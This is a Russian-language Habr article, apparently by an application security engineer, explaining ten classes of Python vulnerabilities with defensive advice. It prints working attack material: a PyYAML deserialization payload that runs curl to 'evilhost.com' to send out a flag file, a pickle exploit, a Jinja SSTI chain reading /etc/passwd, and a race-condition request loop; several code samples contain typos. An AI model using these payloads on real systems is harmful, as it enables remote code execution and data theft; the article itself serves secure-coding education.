Привет, Хабр! Рассмотрим уязвимости в компонентах и библиотеках, которые приводят к уязвимостям. Ситуация, когда OpenSource — это источник угроз, встречается довольно часто, поэтому случаев интересных атак через внешние компоненты много. Остается разобраться, что с ними делать.

В этом нам поможет Алексей Морозов Application Security. Они делают так, чтобы хакеры не смогли взломать наши системы, поэтому у него много ценного опыта. Дальнейшее повествование пойдет от его лица, чтобы было легче и интереснее читать.

Обычно я пишу для профильной аудитории, но этот текст — исключение. В нем я хочу рассказать, какие уязвимости есть в стеке Phyton, чем они опасны и что с ними делать. Статья будет полезна всем, кто пишет на этом языке и хочет защитить свой проект от атак.

Типы уязвимостей

Уязвимости можно разделить на множество групп. Вот основные, но далеко не все:

  • Клиентские и серверные. Клиентские уязвимости направлены на пользователя, которому, например, присылают вредоносную ссылку. Серверные — это когда взламывают непосредственно сервер. 

  • Прикладные, сетевые и физические. Например, перехват Wi-Fi, замыкание кабеля или взрыв сейфа. 

  • По OWASP: RCE, LFI, XSS и так далее. 

  • По уровню критичности: Low, Middle, High и Critical.

Мы поговорим только о прикладных уязвимостях.

1. SSRF — недостаточная фильтрация

Представим, что сервер заставляют пройти по какой-то ссылке. То есть по ней переходит сам сервер, а не пользователь. По ссылке открывается картинка. У нас есть request.get или post и url, и в него мы можем скормить от user input. Что здесь может пойти не так?

Так как код крутится где-то на бэкенде, мы можем скормить ему url http://127.0.0.1 и какой-нибудь порт. Результатом работы кода станет обращение к этому url. Это может привести к различным атакам: от банального сканирования внутренней инфраструктуры до утечек данных. В некоторых случаях это можно докрутить до remote code execution (удаленного выполнения кода).

Перейдем к Python и посмотрим на библиотеку, которая подключается к Postgres. Особенность примера в том, что это SSRF в явном виде.

import psycopg2
// host user input
if (host != '192.168.1.99'):
               psycopg2.connect(host=host, database, user, password)

Представим, что host — это user input. Там есть ограничение: внутрь зашит список API, в которые нельзя ходить. И вроде бы все в порядке, но если мы передаем host в формате с нулями, мы bypass'им проверку и он идет на 192.168.01.101. Конкретно эта реализация библиотеки отбрасывает нули.

/?host=000000000192.000000000168.00000001.0000101
psycopg2.connect(host="000000000192.000000000168.00000001.000099",database, user, password)

И вот она: уязвимость. Поэтому даже если вы сравниваете библиотеку с white-листом, помните, что хакеры всегда могут найти bypass’ы.

Покажу еще несколько таких примеров. Вот знакомая многим библиотека, ftplib. Снова представим, что host — это user input. Как можно это забайпасить? Если скормить два IP через пробел, всегда будет принят второй. Видимо, там какая-то функция, которая подключается к последнему параметру.

from ftplib import FTP

ftp = FTP('192.168.1.82 192.168.1.12')

А вот пример с socket'ами. Здесь проблема в пробеле: если мы поставим внутри IP пробел, он его просто схлопнет обратно в IP и пройдет по нему. Это тоже формат байпаса.

import socket

port = 1340

host ="192.168.1.82"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.connect((host, int(port)))

Рассмотрим целый класс таких уязвимостей. Мы все знаем схему URL: она состоит из различных блоков. И что интересно, разные библиотеки на Python парсят их по-разному. Хакер может обойти white-листы, просто расставляя нужный ему IP в разные блоки этой схемы.

Какие еще варианты bypass'ов могут быть? Например, можно указать два порта. Вот сравнительная табличка, и первые три строки относятся к Python.

Что же делать? Во-первых, использовать white-листы. Во-вторых, когда мы скармливаем хост пользователю на бэкенд, это всегда должно быть огорожено сетевым контуром. Пользователь не должен иметь права ходить в нашу внутреннюю инфраструктуру.  Подробнее про этот вид атаки можно посмотреть у хакера Orange Tsai.

2. Сериализация

Посмотрим на код. Какие с ним могут быть проблемы?

from yaml import load, dump
try:
from yaml import CLoader as Loader, CDumper as Dumper
except ImportError:
from yaml import Loader, Dumper

data = load(stream, Loader=Loader)
output = dump(data, Dumper=Dumper)

Дело в том, что при десериализации можно изменить объект и выполнить любой код. Например, библиотека PyYAML берет объект и сериализует его в YAML-формат. Допустим, мы отдаем это пользователю, а потом принимаем файл, десериализуем обратно и превращаем исходные данные в объект в памяти.

Рисерчеры научились с помощью рефлексии собирать объект для конкретного метода, вызывать функцию os:system и передавать в нее код на целевом сервере.

!!map {
? !!python/object/apply:os.system ["curl https://evilhost.com/? ` cat flag.txt ` "]
}

Мой пример — задача с соревнования хакеров CTF. В ней нужно было достать флаг, и для этого достаточно было скормить ему такую конструкцию. Флаг просто прилетал на сервер.

34.214.16.74 --"GET/?FlagResultHTTP/1.1"
200 1937"-""curl/7.38.0"

Рассмотрим пример посложнее, связанный с библиотекой pickle. Перед нами снова уязвимый код. Мы принимаем от пользователя объект в параметре data и сериализуем его в определенный формат. Когда эти данные оказываются на нашем фронте или в браузере, мы можем видоизменить их и послать обратно.

import pickle
from flask import request
@app.route('vulnerable.py', methods=['GET'])
def parse_request():
               data = request.request.args.get('data')
               if (data):
pickle.loads(data)

Проблема в том, что нельзя просто так менять данные в бинарном формате. Поэтому мы пишем эксплойт, который функцией reduce вызывает нашу функцию import:os. И читаем листинг директории на сервере.

import pickle
class Payload(object):
               def reduce (self):
                              return (exec, ('import os;os.system("ls")', ))
pickle_data =data = pickle.dumps(Payload()) 
print(pickle_data)

Пакуем это в объект, забираем и выводим себе.

b'\x80\x03cbuiltins\nexec\nq\x00X\x19\x00\x00\x00 import os;os.system("ls")q\x01\x85q\x02Rq\x03.'

Кодируем это в URL-формат и отсылаем на сервер в параметр data. В результате происходит выполнение исходного кода, а при десериализации объекта выполняется наша функция.

?data=%80%03cbuiltins%0Aexec%0Aq%00X%19%00%00%00import%20 os%3Bos.system%28%22ls%22%29q%01%85q%02Rq%03

Помните, что мы никогда не должны отдавать объект пользователю. А если все-таки приходится это делать, лучше принимать от него параметры, но не сам объект. Сериализованный объект отдавать не надо.

3. Race Condition

Это так называемая проблема гонок. Когда есть несколько потоков, всегда существует шанс, что второй поток придет быстрее, чем первый. Чем это может быть чревато? Рассмотрим конкретный пример. Это уязвимый код, который считает различные значения.

counter = 0

def increase(by):
    global counter
    local_counter = counter 
    local_counter += by

    sleep(0.1)

    counter = local_counter 
print(f'Значение counter: {counter}')

А это — другой код, написанный, с моей точки зрения, более правильно. Описанная выше проблема лечится синхронизацией потоков.

def increase(by, lock): 
    global counter 
    lock.acquire() 
    local_counter = counter 
    local_counter += by 
    sleep(0.1)
    counter = local_counter 
    print(f'Значение counter: {counter}') 
    lock.release()

lock = Lock()

Перейдем к примеру из практики. Здесь мы видим вызов с параметром 10-20. Если второй поток придет раньше, мы увидим число 20, если первый — число 10.

t1 = Thread(target=increase,args=(10,lock))
t2 = Thread(target=increase,args=(20,lock))

А теперь посмотрим на картинку ниже. Слева мы отсылаем человеку 100 рублей, и он принимает их на свой счет. У нас было 400 рублей, а стало 300. У него было 0 рублей, а стало 100. Но если мы в единицу времени начнем перечислять ему 100 рублей огромное количество раз, к нему уйдет, например, 1000 рублей, а у нас будет -300 рублей.

Потоки бегут так быстро, что у деньги пропадают с нашего счета медленнее, чем доходят до пользователя. Делая такие переводы между своими счетами, можно накрутить огромное количество денег. У вас спишется 100 рублей, а переведете вы 500. Это пример проблемы гонок.

Как в таком случае выглядит payload? Вот так: мы просто берем его в цикле и пуляем.

import requests
host = 'https://******************/Payment/Transact’ 
fot i in range(9999999):
  data = {
  'userFrom': 'TestPay1’, 
  'userTo': 'TestPay2’, 
  'amount': 1
  }

  requests.post(host, data = data) 
  print(f'Amount {i}')

Будьте особенно внимательны к критически важным асинхронным операциям. Например, операциям, связанным с деньгами, авторизацией и проверкой OTP. Нужно всегда синхронизировать их и помнить о проблеме гонок.

4. Server Side Template Injection 

Перед нами код, который рендерит HTML-верстку и отдает ее на фронт. Вроде бы все понятно: он просто принимает параметры search от пользователя.

@app.route("/")
def home():
     if request.args.get('c'):
         return render_template_string(
                      request.args.get('search'))
     else:
         return "Bienvenue!"

if  _name_  == "_main_": 
     app.run(debug=True)

Но пользователь может передать конструкцию шаблонизатора. В нашем случае речь о Jinja. Если мы, будучи хакером или пользователем, передадим конструкцию 7*7 в двух фигурных скобках, мы увидим результат выполнения: 49. Вроде бы ничего страшного.

Но если в ту же самую конструкцию передать конфиг items, мы получим данные этого конфига. Неприятно, но не страшно, ведь у нас все за бэкендом. 

Но давайте покопаем дальше. Попробуем передать вот такую штуку и поисследовать, какие объекты будут притягиваться к разным классам. На самом деле список классов намного больше, но на скрин поместились не все.

{{"._ _class_ _._ _ mro_ _[1]._ _subclasses_ _() }}

Мы увидим, что у нас, оказывается, где-то импортирован или существует замечательный метод subprocess.Popen, в котором можно выполнить произвольный код на сервере.

{{"._ _class_ _._ _ mro_ _[1]._ _subclasses_ _() }}

Продолжаем атаку. Из subclasses дергаем subprocess из 287 элемента массива, передаем ему параметр и вызываем метод communicate, который позволит выполнить код. И соответственно видим наш файл etc psswd.

{{"._ _class_ _ . _ _ mro_ _[1]._ _subclasses_ _ ()[287]('cat/etc/passwd').communicate()}}

5. Коварный input ()

Посмотрим на следующий код.

import random
secret_number = random.randint(1,500) 
print("Pick a number between 1 to 500")

while True:
      res = input("Guess the number: ")
      if res==secret_number: 
          print("You win") 
          break
      else:
          print("You lose")
          continue

Ребята сделали доступ к критичному функционалу, который был защищен оболочкой с методом input. Можно передать имя переменной, secret_number в input, и он возьмет ее значение, а не просто строку secret number. Соответственно, если вводить secret_number, мы всегда будем выигрывать.

Ввод: secret_number

Вывод: You win

Решение: Используйте raw_input

raw_input — это метод, который превратит в строку все, что мы вводим. И не будет брать никакие значения.

6. Опасный assert()

История про тестирование. Если мы в debug-режиме, то можем выполнить какой-то блок. Но у некоторых серверов может быть мисконфинг. Когда сервер перезагружается, он не успевает проинициализировать эти переменные и перевести из debug-режима в prod-режим. Соответственно, если хакер напишет скрипт, который будет сутками каждую секунду отправлять много запросов, в какой-то момент перезагрузки сервера он сможет поймать его в debug-режиме, если переменная debug выставлена в true. И злоумышленник сможет попасть туда без авторизации.

def superuser_action(user):
               assert user == "admin"
               print("Excecute admin actions...")

superuser_action("user")

С этой уязвимостью была связана одна известная атака. Один хакер написал скрипт, который обращался к базе данных в приложении одной всем известной компании. Сначала он постоянно видел access denied, а в какой-то момент увидел боевые данные из базы. Он написал об этом в компанию, там начали разбираться и нашли именно такую проблему. Поэтому не надо использовать assert для критичных конструкций.

python -O asserts.py

7. Хитрый os.path.join() 

Вот код, в котором главное я выделил жирным. У нас есть третья строчка, где конкатенируются var и lib, и filename, который мы принимаем от пользователя. Фишка в том, что если мы передадим filename со слэшом, то есть с корневым узлом /etc/psswd, то все, что было до, будет отброшено. Останется только этот параметр.

def read_file(request):
    filename = request.POST['filename']
    file_path = os.path.join("var", "lib", filename)
    if file_path.find(".") != -1: 
           return HttpResponse("Failed!")
    with open(file_path) as f:
    return HttpResponse(f.read(), content_type='text/plain')

В этом куске кода такое развитие событий может привести к тому, что кто-то прочитает внутренний файл. Это проблема, но уязвимость может проявлять себя и другими способами.

Представим такой код. Сразу скажу, что здесь такой проблемы нет. Но посмотрите на третью и шестую строки. В третьей строке мы что-то куда-то экспортируем и создаем ZIP-файл, а в шестой строке что-то читаем.

def extract_html(request):
     filename = request.FILES['filename']
     zf = zipfile.ZipFile(filename.temporary_file_path(), "r") 
     for entry in zf.namelist():
         if entry.endswith(".html"):
             file_content = zf.read(entry)
            with open(entry, "wb") as fp: 
                 fp.write(file_content)
     zf.close()
     return HttpResponse("HTML files extracted!")

Мы можем отправить правильное имя файла, создать архив, взять из архива HTML и загрузить его куда-то. Но что, если filename, то есть имя файла в архиве, будет таким? А это можно сделать с помощью UNIX или Linux. Windows не позволит так сделать, а они — легко.

Когда мы извлечем такой файл из архива и положим куда-то наш HTML, сервер создаст файл в конкретный путь, который нам нужен. Но если мы положим HTML в корневой узел веб-сервера, хакер может дотянуться до нее, прописать там зловредную бэкенд-логику и взломать сервер.

8. Публичные репозитории

Один хитрый парень исследовал сервер и увидел JSON как на картинке ниже. Он понял, что там есть зависимости, которых нет в публичном репозитории. Тогда он создал публичный репозиторий с таким же названием и запилил туда свою зависимость с вредоносным кодом, чтобы тот исполнился при загрузке зависимостей.

Прошла неделя, и хакер стал замечать, что к нему на сервер пришли отстуки. То есть код, который он написал, начал выполняться в разных местах.

Таким образом были взломаны многие компании, в том числе Apple. Такое происходит, когда приватную библиотеку помещают в публичный репозиторий. А питоновская логика по умолчанию сначала идет в публичный репозиторий, а потом во внутреннюю систему управления зависимостями. Соответственно, эту логику нужно менять. У нас в компании все зашито во внутренний Artifactory, и любая новая библиотека проходит через определенный флоу, прежде чем попасть туда. В первую очередь там порезаны доступы, но вот еще парочка рекомендаций, которые помогут избежать проблем:

  • В PyPl использовать опцию «--index-url» вместо «--extra -index-url», чтобы знать, куда мы идем

  • plp install package --only-binary=:all -require-hashes.

Важно всегда помнить про зависимости, особенно публичные. Все публичное — потенциальный источник угрозы.

Вот как это лечить:

  1. Использовать системы сканирования кода SCA. Они позволяют сканировать библиотеки и зависимости. Есть, в том числе для питона, например XRAY.  

  2. Перенести внешние репозитории во внутренний Artifactory.

  3. Настроить процессы контроля добавления и изменения зависимостей.

9. ORM Injection 

Как думаете, есть ли в следующем коде SQL-инъекция?

from django.db import connection
def my_custom_sql(self):
      with connection.cursor() as cursor:
            cursor.execute("UPDATE bar SET foo = 1 WHERE baz = %s", [self.baz]) 
            cursor.execute("SELECT foo  FROM bar WHERE baz =  %s",  [self.baz]) 
            row = cursor.fetchone()
      return row

Ответ — нет.

А в этом?

from django.db import connection
def my_custom_sql(self):
      with connection.cursor() as cursor:
            cursor.execute("UPDATE bar SET foo = 1 WHERE baz = ’%s’", [self.baz]) 
            cursor.execute("SELECT foo  FROM bar WHERE baz = ’%s’",  [self.baz]) 
            row = cursor.fetchone()
      return row

Ответ — да.

Главное отличие — кавычки, они же апострофы. Когда мы превращаем параметризованный объект в строку, она превращается в SQL-инъекцию. В первом коде саму конструкцию изменить нельзя, а во втором — легко. Потому что мы литерал превратили в строку.

О чем важно помнить, используя ORM? Во-первых, ORM нужны, чтобы дергать их методы, а не использовать базовые конструкции для формирования SQL-запроса. Во-вторых, даже параметризованные параметры не нужно превращать обратно в строку. Параметризуйте параметры, не приводите их к строкам, следите за валидацией и используйте ORM по назначению.

10. Загрузка файлов

Некоторые фреймворки позволяют загрузить файл, несмотря на ограничения:

  1. Файл HTML можно загрузить как изображение, если этот файл содержит заголовок PNG, за которым следует вредоносный HTML. 

  2. Мы берем PNG-картинку, открываем ее чем угодно, в конец вставляем HTML и загружаем это на сервер. 

  3. Django съедает ее — это уязвимость конкретной библиотеки и необходимы определенные условия для воспроизведения уязвимости, которые по понятным причинам, я не готов описывать в статье — а потом рендерит как HTML. 

  4. Соответственно, в HTML можно поместить что угодно, используя шаблонизаторы и другие инструменты.

Не забывайте проверять и ограничивать расширения, проверяйте содержимое файлов и не доверяйте базовым средствам фреймворка. Потому что фреймворки не идеальны.

Помните про уязвимости и берегите свои проекты. Надеюсь, был вам полезен.

Комментарии (0)